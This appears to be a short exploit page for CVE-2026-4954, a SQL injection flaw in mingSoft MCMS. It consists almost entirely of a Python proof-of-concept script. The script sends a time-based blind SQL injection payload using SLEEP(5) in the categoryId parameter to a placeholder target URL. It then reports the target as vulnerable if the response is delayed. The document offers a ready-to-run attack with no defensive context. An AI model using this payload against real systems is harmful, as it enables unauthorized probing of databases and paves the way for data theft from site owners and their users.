CVE-2026-4954 mingSoft MCMS SQL注入漏洞

import requests # Target URL (Example) target_url = "http://target.com/cms/content/list" # Malicious payload to test SQL Injection # This payload attempts a time-based blind injection check payload = { "categoryId": "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" } try: print("[*] Sending payload to target...") response = requests.get(target_url, params=payload, timeout=10) # Analyze response time to confirm vulnerability if response.elapsed.total_seconds() > 5: print("[+] Vulnerability confirmed! The application responded with a delay.") else: print("[-] Target may not be vulnerable or payload failed.") except Exception as e: print(f"[!] Error occurred: {e}")